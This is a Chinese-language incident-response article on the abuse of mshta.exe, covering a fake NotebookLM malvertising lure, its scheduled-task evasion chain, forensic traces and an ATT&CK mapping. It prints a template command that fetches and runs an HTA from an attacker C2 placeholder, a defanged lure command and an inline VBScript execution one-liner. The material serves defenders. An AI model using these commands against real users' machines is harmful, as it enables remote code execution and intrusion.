Key findings
- mshta.exe 是 Windows 內建、用於執行 HTA(HTML Application)的合法工具;因功能強大、預設存在且 HTA 具高系統權限,被攻擊者濫用為 LOLBin 載入器。
- 典型案例:攻擊者以 Google 廣告將偽裝成 NotebookLM 的釣魚站推上搜尋前列,以「安裝教學」誘導使用者按 Win+R 貼上 mshta 遠端執行指令(copy-paste 社交工程),繞過下載惡意檔案的警覺。
- 規避關鍵:攻擊鏈刻意以排程工作重塑程序鏈(mshta →建立排程→ Task Scheduler → powershell),避開「mshta → powershell」的父子程序偵測。
- mshta 支援本地、遠端 URL 與 inline script 三種執行方式;遠端與 inline 幾乎不落地,增加偵測與鑑識難度。
- 即使 fileless-like,仍可從 RunMRU(Win+R 歷史)、PowerShell 歷史(ConsoleHost_history.txt)與 Prefetch(MSHTA.EXE-*.pf,遠端執行也會產生)等痕跡還原行為。

前言
近期團隊調查到多起資安事件,觀察到攻擊者透過釣魚手法誘導使用者依指示貼上指令,在未充分理解風險的情況下直接操作 Windows 原生工具 mshta.exe。其中一個典型案例,是使用者被引導按下 Windows + R 開啟執行視窗並貼上指令,以遠端執行 .hta 檔案。攻擊者可藉此在目標主機啟動 HTA 程式,進一步呼叫系統命令或下載執行其他惡意程式,而無需傳統的可執行檔(EXE),且部分情境不會產生明確落地檔案,較不易被傳統防毒偵測。這凸顯了 mshta.exe 作為 LOLBin(Living-off-the-Land Binary) 的濫用潛力:即便是系統內建、合法的工具,也可能成為攻擊鏈中的重要角色。
本文僅供防禦研究、事件應變、威脅狩獵與教育用途。文中提及之技術與指令可能具風險,請僅在隔離、可還原且不連接生產網路之環境中測試;文中所提及之第三方平台與產品名稱僅作技術描述之用。
mshta 介紹
mshta.exe 是 Windows 內建、用於執行 HTA(HTML Application)的合法工具。HTA 是以 HTML 為基礎、結合網頁技術(HTML、CSS)與腳本語言(VBScript 或 JScript)的應用程式格式,但與瀏覽器執行的網頁不同,HTA 具有更高的系統權限,可直接與作業系統互動。因功能強大且預設存在,逐漸被攻擊者濫用為執行惡意程式的載體。
HTA 範例
<html>
<head>
<title>HTA Demo</title>
<HTA:APPLICATION ID="app" APPLICATIONNAME="Calculator Demo"
BORDER="thin" CAPTION="yes" SHOWINTASKBAR="yes"
SINGLEINSTANCE="yes" WINDOWSTATE="normal" />
<script language="VBScript">
Sub Window_OnLoad()
Set shell = CreateObject("WScript.Shell")
shell.Run "calc.exe", 1, False ' 開小算盤
Call ShowMsg() ' 呼叫 JS alert
End Sub
</script>
<script language="JavaScript">
function ShowMsg() { alert("loading..."); }
</script>
</head>
<body>
<div class="box"><h2>HTA Demo Page</h2></div>
</body>
</html>
以 mshta.exe 執行上方 HTA 時,系統會啟動 HTA 執行環境並開啟獨立視窗;載入完成後自動觸發 Window_OnLoad(),VBScript 透過 WScript.Shell 啟動計算機(calc.exe),JavaScript 跳出「loading…」對話框。使用者除了看到靜態介面外,還會同步出現彈窗與外部程式被自動執行的行為。

mshta 的執行方式,主要分為本地與遠端,另有 inline script:
- 本地執行:
mshta C:\test.hta,需先將檔案寫入磁碟(明確落地),容易被防毒/EDR 掃描到檔案本體。 - 遠端執行:
mshta http://<IP|DOMAIN>:<PORT>/<FILE>.hta,IP/DOMAIN 為攻擊者 C2;不需先落地、直接由 mshta 解析執行,常用於第一階段 Payload delivery(Loader),易結合社交工程(Win + R、釣魚郵件)。 - Inline Script 執行:
mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""calc.exe"""),完全不需檔案(更接近 fileless),可直接嵌入 cmd 或 PowerShell。
實務案例與攻擊鏈
在實際攻擊中,mshta.exe 很少單獨出現,而是作為初始載入器(Loader)或腳本執行工具,搭配釣魚網站或社交工程達成初始入侵。
案例,攻擊者透過購買 Google 廣告(贊助搜尋結果),將偽裝成 NotebookLM 的釣魚網站置於搜尋前列。

使用者進入後,頁面提供「Install on Windows」安裝指引,引導使用者按 Windows + R 開啟執行視窗並輸入 mshta hxxps://domain/notebooklm。此步驟本質是利用使用者自行執行系統內建工具(LOLBins),繞過下載並執行惡意檔案的警覺。

攻擊鏈,① 初始存取:使用者經搜尋/廣告點擊釣魚站(SEO poisoning / Malvertising);② 使用者執行:手動貼上並執行 mshta 指令,從遠端載入惡意 .hta;③ 腳本執行:mshta.exe 下載並執行遠端 HTA(含 VBScript/JScript);④ 持久化:HTA 建立排程工作;⑤ 間接執行:由 Task Scheduler 觸發 PowerShell,而非 mshta 直接啟動。
關鍵規避手法:
- 以中介機制重塑程序鏈,傳統偵測常關注
mshta.exe → powershell.exe,但實際鏈為mshta.exe →(建立排程)→ Task Scheduler → powershell.exe,避開父子程序關聯。 - 使用合法工具(LOLBins),
mshta.exe、schtasks.exe/ Task Scheduler、powershell.exe。 - 社交工程強化,以「安裝教學」降低戒心、以可信品牌(NotebookLM)偽裝。
分析重點與鑑識痕跡
在 mshta 相關事件的鑑識中,可透過多種系統痕跡相互比對還原攻擊全貌:
- File Hash / 本地檔案路徑:若為本地執行(如
C:\test.hta),可取得檔案雜湊、建立/修改時間與來源路徑(Downloads、Temp、Desktop 等)。 - RunMRU(Win + R 歷史):
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU保留曾以 Win+R 執行的指令。

- PowerShell 歷史:
%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt。

- Prefetch(MSHTA.EXE-*.pf):
C:\Windows\Prefetch\,可看到建立/修改/執行時間、執行次數、載入 DLL 等。

為什麼會產生 Prefetch?,Prefetch 是 Windows 為提升啟動效能的快取機制;當 mshta.exe 被執行時系統會自動記錄執行相關資訊。值得注意的是,不論本地 HTA 或遠端 URL 執行,系統皆會建立對應的 Prefetch 紀錄,因此即使遠端執行未產生明確落地檔案,仍可透過 Prefetch 證實 mshta.exe 曾被執行(但無法直接還原實際 payload 內容)。
總結
mshta.exe 作為 LOLBin,結合釣魚網站與社交工程誘導使用者主動執行惡意指令,成功繞過以檔案為基礎的防護。它通常作為初始載入器,從遠端載入並執行 HTA,進一步以排程工作建立持久化,再由排程服務間接觸發 PowerShell,避開常見的父子程序偵測(mshta → powershell)。由於支援遠端載入與 inline script,部分情境不需明確落地即可完成攻擊,增加鑑識與偵測難度;然而即使在 fileless-like 情境下,仍可透過 RunMRU、PowerShell 歷史與 Prefetch 等痕跡進行分析。
mshta.exe 的風險並非來自其本身,而是來自其「合法工具 + 高權限 + 可執行腳本」的特性。因此防禦上應避免僅依賴單一指標(如程序名稱或父子關係),而應結合行為分析、使用者操作脈絡與多重事件關聯,才能有效識別此類攻擊。
樣本與參考
- 原文(Medium,OIS):《深入解析 mshta.exe:Windows 原生工具在攻擊鏈中的濫用與實務分析》
- MITRE ATT&CK — T1218.005 Mshta
- MITRE ATT&CK — 技術對照依據
MITRE ATT&CK mapping
| Tactic | Technique | Procedure |
|---|---|---|
| Resource development | T1583.008 | 購買 Google 廣告,將偽裝成 NotebookLM 的釣魚站推上贊助搜尋結果前列 |
| Defense evasion | T1036.005 | 以可信品牌 NotebookLM 偽裝,並以「安裝教學」降低使用者戒心 |
| Execution | T1204.004 | 誘導使用者按 Win+R 貼上並執行 mshta 遠端指令(copy-paste / ClickFix 社交工程) |
| Defense evasion | T1218.005 | 濫用系統代理二進位 mshta.exe 執行遠端 HTA,繞過以檔案為基礎的防護 |
| Execution | T1059.005 | HTA 內以 VBScript/JScript 呼叫 WScript.Shell 等執行系統命令 |
| Persistence | T1053.005 | HTA 建立排程工作(Scheduled Task)作為持久化 |
| Execution | T1059.001 | 由 Task Scheduler 間接觸發 PowerShell 執行後續行為,避開「mshta→powershell」父子偵測 |